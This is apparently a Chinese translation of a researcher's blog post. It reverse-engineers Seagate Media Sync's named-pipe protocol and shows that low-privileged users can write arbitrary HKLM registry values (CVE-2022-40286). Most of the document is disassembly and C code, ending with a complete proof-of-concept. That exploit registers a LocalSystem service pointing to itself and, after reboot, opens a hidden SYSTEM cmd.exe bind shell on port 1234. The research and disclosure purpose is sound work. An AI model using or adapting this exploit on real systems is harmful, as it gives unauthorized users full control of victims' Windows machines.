这篇文章涵盖的主题与我通常的内容略有不同:应用程序漏洞发现和漏洞利用开发。
原文链接:https://www.x86matthew.com/view_post?id=windows_seagate_lpe
近年来,我没有花太多时间在这个领域进行实验,但在过去几周的一些与工作相关的项目之后,我的兴趣重新燃起了。
我上网找了一个随机的驱动程序/服务来利用——我想找到一家知名公司的产品,而不是太晦涩难懂的东西。
我发现的第一个软件包称为“Seagate Media Sync”,这是一个将媒体文件复制到无线希捷硬盘的工具。我安装了产品,正如预期的那样,这创建了一个名为MediaAggreService.exe的后台SYSTEM服务:
该工具还安装了一个 UI 程序,该程序与交互式用户在同一会话中运行:
特权提升的常见攻击向量始于低特权进程 (UI) 和高特权服务(或驱动程序)之间的内部通信。调查此问题的第一步是从我们可以监控的 UI 中触发合法通信。不幸的是,UI 程序仅提供非常有限的功能,因为我没有相应的 Seagate 硬件:
Process Explorer 显示该服务包含名为MEDIA_AGGRE_PIPE.PIP的命名管道的句柄- 我怀疑该管道用于通信UI ( stxmediamanager.exe ) 和服务 ( MediaAggreService.exe )。
回顾 UI,我们可以单击的唯一按钮似乎是“刷新”——希望这会触发一些与我们可以监控的服务的通信。我们可以将调试器附加到 UI 进程并在CreateFile和WriteFile函数上设置断点以确认这一理论:
如上所示,当单击“刷新”时,UI 进程使用CreateFile打开到命名管道的连接。我们可以通过检查对WriteFile的后续调用来记录消息数据的内容。
写入数据块#1:
写入数据块#2:
有根据的猜测告诉我,第一条消息是一个 4 字节长度的字段,表示消息正文的大小。第二条消息包含实际的命令数据。在此示例中,它正在发送一条消息正文长度为 8 字节的命令 – 初始 4 字节长度值与预期的第二个WriteFile调用的nNumberOfBytesToWrite参数匹配。我们现在可以检查服务进程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函数上设置断点应该在 UI 客户端调用CreateFile时触发: 我们现在可以在ReadFile上设置断点
功能。这显示了与预期一样从客户端发送的数据:
现在我们已经在服务中找到了读取命令数据的代码,我们可以按照执行流程查看接下来会发生什么。由于我们只能访问 UI 中的单个“刷新”命令,因此需要进行一些静态分析以查看可用的其他命令。
在花了一些时间分析代码之后,我可以看到每个命令都以 16 位签名 ( 0x4B5C ) 开头。其后是 16 位“主要”命令 ID,然后是 32 位“次要”命令 ID。每个“主要”命令 ID 都朝着不同的 switch 语句前进——我在下面评论了反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
001145BB | BA 5C4B0000 | mov edx,4B5C | set expected command header signature: 0x4B5C 001145C0 | 0FB708 | movzx ecx,word ptr ds:[eax] | get actual command header signature value 001145C3 | 66:3BCA | cmp cx,dx | check 16-bit signature value 001145C6 | 74 1A | je mediaaggreservice.1145E2 | jump if signature matches 001145C8 | 51 | push ecx | 001145C9 | 68 D8391200 | push mediaaggreservice.1239D8 | "[PIPE] Failure: Bad Signature 0x%X" 001145CE | 68 F0841400 | push mediaaggreservice.1484F0 | 001145D3 | E8 D866FFFF | call mediaaggreservice.10ACB0 | add_log_entry 001145D8 | 83C4 0C | add esp,C | 001145DB | 33C0 | xor eax,eax | 001145DD | 5E | pop esi | 001145DE | 8BE5 | mov esp,ebp | 001145E0 | 5D | pop ebp | 001145E1 | C3 | ret | error, return 001145E2 | 57 | push edi | 001145E3 | FF70 04 | push dword ptr ds:[eax+4] | log minor command ID (32-bit) 001145E6 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | log major command ID (16-bit) 001145EA | 50 | push eax | 001145EB | 68 203A1200 | push mediaaggreservice.123A20 | "[PIPE] Command major/minor: [0x%X:0x%X]" 001145F0 | 68 F0841400 | push mediaaggreservice.1484F0 | 001145F5 | E8 7667FFFF | call mediaaggreservice.10AD70 | add_log_entry 001145FA | 8B86 D0F00100 | mov eax,dword ptr ds:[esi+1F0D0] | 00114600 | C745 F8 00000000 | mov dword ptr ss:[ebp-8],0 | 00114607 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | get major command value (message_base + 0x2) 0011460B | 83C4 10 | add esp,10 | 0011460E | 83F8 10 | cmp eax,10 | check if the major command value is 0x10 00114611 | 74 60 | je mediaaggreservice.114673 | jump to 0x10 command switch 00114613 | 83F8 20 | cmp eax,20 | check if the major command value is 0x20 00114616 | 74 1A | je mediaaggreservice.114632 | jump to 0x20 command switch 00114618 | 68 C83A1200 | push mediaaggreservice.123AC8 | "[PIPE] Failure: Unknown Major Command" 0011461D | 68 F0841400 | push mediaaggreservice.1484F0 | 00114622 | E8 8966FFFF | call mediaaggreservice.10ACB0 | add_log_entry |
如上所示,该服务似乎只支持 2 个“主要”命令 ID – 0x10和0x20。考虑到这些信息,我们现在可以解码我们之前记录的原始“刷新”命令:
1 2 3 4 5 6 |
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) (no message body) |
在快速查看两个主要命令组的代码后,我注意到0x10命令组包含一个调用名为MXOSRVSetRegKey的内部函数的条目。该条目的“次要”命令 ID 为0x400。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
001136E4 | 68 08300000 | push 3008 | total message length 001136E9 | 8D47 08 | lea eax,dword ptr ds:[edi+8] | 001136EC | 50 | push eax | 001136ED | 8DB3 C0A90100 | lea esi,dword ptr ds:[ebx+1A9C0] | 001136F3 | 56 | push esi | 001136F4 | E8 5F560000 | call <JMP.&memcpy> | copy command message body 001136F9 | FFB3 C0D90100 | push dword ptr ds:[ebx+1D9C0] | 001136FF | 8D83 C0C90100 | lea eax,dword ptr ds:[ebx+1C9C0] | 00113705 | 50 | push eax | 00113706 | 8D83 C0B90100 | lea eax,dword ptr ds:[ebx+1B9C0] | 0011370C | 50 | push eax | 0011370D | 56 | push esi | 0011370E | FF15 68D31100 | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>] | execute command |
顾名思义,MXOSRVSetRegKey函数似乎设置了一个注册表值,如果该键不存在,则首先创建它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
70F25590 | 55 | push ebp | 70F25591 | 8BEC | mov ebp,esp | 70F25593 | 83EC 08 | sub esp,8 | 70F25596 | 8D45 F8 | lea eax,dword ptr ss:[ebp-8] | 70F25599 | 50 | push eax | 70F2559A | 8D45 FC | lea eax,dword ptr ss:[ebp-4] | 70F2559D | 50 | push eax | 70F2559E | 6A 00 | push 0 | 70F255A0 | 68 3F000F00 | push F003F | 70F255A5 | 6A 00 | push 0 | 70F255A7 | 68 6823F370 | push stxmediadevif.70F32368 | 70F255AC | 6A 00 | push 0 | 70F255AE | FF75 08 | push dword ptr ss:[ebp+8] | 70F255B1 | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 | 70F255B8 | 68 02000080 | push 80000002 | 70F255BD | FF15 1020F370 | call dword ptr ds:[<&RegCreateKeyExW>] | 70F255C3 | 85C0 | test eax,eax | 70F255C5 | 75 1E | jne stxmediadevif.70F255E5 | 70F255C7 | FF75 14 | push dword ptr ss:[ebp+14] | 70F255CA | FF75 10 | push dword ptr ss:[ebp+10] | 70F255CD | 6A 01 | push 1 | 70F255CF | 50 | push eax | 70F255D0 | FF75 0C | push dword ptr ss:[ebp+C] | 70F255D3 | FF75 FC | push dword ptr ss:[ebp-4] | 70F255D6 | FF15 0420F370 | call dword ptr ds:[<&RegSetValueExW>] | 70F255DC | FF75 FC | push dword ptr ss:[ebp-4] | 70F255DF | FF15 0020F370 | call dword ptr ds:[<&RegCloseKey>] | 70F255E5 | 33C0 | xor eax,eax | 70F255E7 | 8BE5 | mov esp,ebp | 70F255E9 | 5D | pop ebp | 70F255EA | C3 | ret | |
对该代码的初步分析表明,该命令可能允许我们通过客户端进程远程创建/修改注册表字符串值。基本密钥似乎被硬编码为HKEY_LOCAL_MACHINE(在RegCreateKeyExW调用中推送 0x80000002 )。对这些函数进行逆向工程后,我可以看到该命令期望接收以下格式的消息数据:
1 2 3 4 5 6 7 8 9 10 11 |
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused) |
上面的命令只支持字符串值——类型字段被硬编码为REG_SZ(在RegSetValueExW调用中按 1 )。 我还发现了另一个命令 ID ( 0x410 ),它允许我们以相同的方式设置REG_DWORD值。此命令接收以下格式的消息数据:
1 2 3 4 5 6 7 8 9 10 11 12 |
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD) |
从上面命令数据的布局我们可以看出,我们可以推断这两个命令共享一个共同的数据结构。我们可以用 C 结构来表示它们,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; |
假设以上所有内容都是正确的,这意味着,正如怀疑的那样,任何用户都可以通过向希捷服务管道发送命令来将任意注册表值写入HKEY_LOCAL_MACHINE中的任何键。如果这是真的,这意味着我们有一条明确的利用途径。这可能看起来很奇怪,但是像这样的“功能”比您想象的要普遍得多。
我们现在有足够的信息来编写自定义管道客户端来测试我们的理论:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } SetRegString("SOFTWARE\\Microsoft\\x86matthew", "x86matthew", "test_value"); |
上面的代码连接到MEDIA_AGGRE_PIPE.PIP管道并尝试在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\x86matthew中创建一个注册表值- 我们将作为普通用户执行这个程序:
正如我们在上面看到的,这段代码正常工作并创建了目标注册表值。具有写入HKEY_LOCAL_MACHINE的能力为利用提供了很多可能性 – 在这种情况下,我们将通过向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项添加一个条目来创建自定义服务。
而不是部署单独的 exe 以用作SYSTEM服务负载,我们将把这个功能结合到主要的漏洞利用可执行文件中。exe 将首先检查它是否以SYSTEM用户身份运行 – 如果不是,它将执行默认行为并尝试通过 Seagate 管道创建新服务,如上所述。否则,如果 exe 检测到它作为SYSTEM服务运行,它将部署主要有效负载 – 这将创建一个 TCP 绑定外壳用于演示目的。
总而言之,利用概念验证工具将执行以下步骤:
1.使用CreateFile通过命名管道\.\pipe\MEDIA_AGGRE_PIPE.PIP连接到希捷服务。
2.使用GetModuleFileName 获取当前exe的文件路径.
3. 通过将逆向工程的注册表命令发送到希捷命名管道来创建新的 Windows 服务。使用当前 exe 作为进程路径,将新条目添加到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 。
4. 重新启动计算机。
5. Windows 将在启动时自动启动我们新创建的“服务”。漏洞利用可执行文件将检测到它以SYSTEM身份运行并侦听端口 1234 上的 TCP 连接。
6. 当用户连接到localhost:1234时,漏洞利用服务将以SYSTEM身份启动新的cmd.exe进程,并重定向 stdin/stdout到客户端套接字。
演示 执行漏洞利用:
重启后:
连接到localhost:1234:
作为参考,此漏洞已分配给 CVE-2022-40286。
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 |
#include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (dword) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwDwordValue = dwValue; // send command if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD StartBindShell(WORD wPort) { sockaddr_in SockAddr; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; SOCKET ListenSocket = 0; SOCKET AcceptSocket = 0; // create listen socket ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if(ListenSocket == INVALID_SOCKET) { return 1; } // set socket addr info memset((void*)&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(wPort); SockAddr.sin_addr.s_addr = htonl(INADDR_ANY); // bind socket if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // listen if(listen(ListenSocket, 1) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // wait for clients for(;;) { // wait for connection AcceptSocket = accept(ListenSocket, NULL, NULL); if(AcceptSocket == INVALID_SOCKET) { closesocket(ListenSocket); return 1; } // set StartupInfo fields - redirect input/output to socket memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.hStdInput = (HANDLE)AcceptSocket; StartupInfo.hStdOutput = (HANDLE)AcceptSocket; StartupInfo.hStdError = (HANDLE)AcceptSocket; // create cmd.exe process with inherited handles memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { closesocket(AcceptSocket); closesocket(ListenSocket); return 1; } // client socket has been passed to cmd.exe - close socket in local process closesocket(AcceptSocket); } // close listen socket closesocket(ListenSocket); return 0; } DWORD ConfirmSystemUser() { HANDLE hToken = NULL; BYTE bTokenUser[1024]; DWORD dwLength = 0; SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority; TOKEN_USER *pTokenUser = NULL; void *pSystemSid = NULL; // open process token if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) { return 1; } // get user SID pTokenUser = (TOKEN_USER*)bTokenUser; if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0) { CloseHandle(hToken); return 1; } // close token handle CloseHandle(hToken); // SECURITY_NT_AUTHORITY SidIdentifierAuthority.Value[0] = 0; SidIdentifierAuthority.Value[1] = 0; SidIdentifierAuthority.Value[2] = 0; SidIdentifierAuthority.Value[3] = 0; SidIdentifierAuthority.Value[4] = 0; SidIdentifierAuthority.Value[5] = 5; // get SYSTEM user SID if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0) { return 1; } // check if this is the SYSTEM user if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0) { FreeSid(pSystemSid); return 1; } // clean up FreeSid(pSystemSid); return 0; } DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath) { char szServiceKey[512]; char szImagePath[512]; char szWindowsDir[512]; // get windows directory memset(szWindowsDir, 0, sizeof(szWindowsDir)); GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1); // set service key memset(szServiceKey, 0, sizeof(szServiceKey)); _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName); // set image path // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests) memset(szImagePath, 0, sizeof(szImagePath)); _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath); // set registry value if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0) { return 1; } // set registry value if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Start", 2) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Type", 16) != 0) { return 1; } return 0; } int main() { WSADATA WinsockData; char szPath[512]; // check if this process is running as SYSTEM user if(ConfirmSystemUser() == 0) { // initialise winsock if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0) { return 1; } // ready - start tcp bind shell on port 1234 if(StartBindShell(1234) != 0) { return 1; } } else { printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n"); printf("x86matthew (www.x86matthew.com)\n\n"); printf("Retrieving current exe path...\n"); // get current exe path memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { printf("Error: Failed to get current exe path\n"); return 1; } printf("Creating service...\n"); // create service if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0) { printf("Error: Failed to add service via Seagate Media Sync service\n"); return 1; } printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n"); } return 0; } |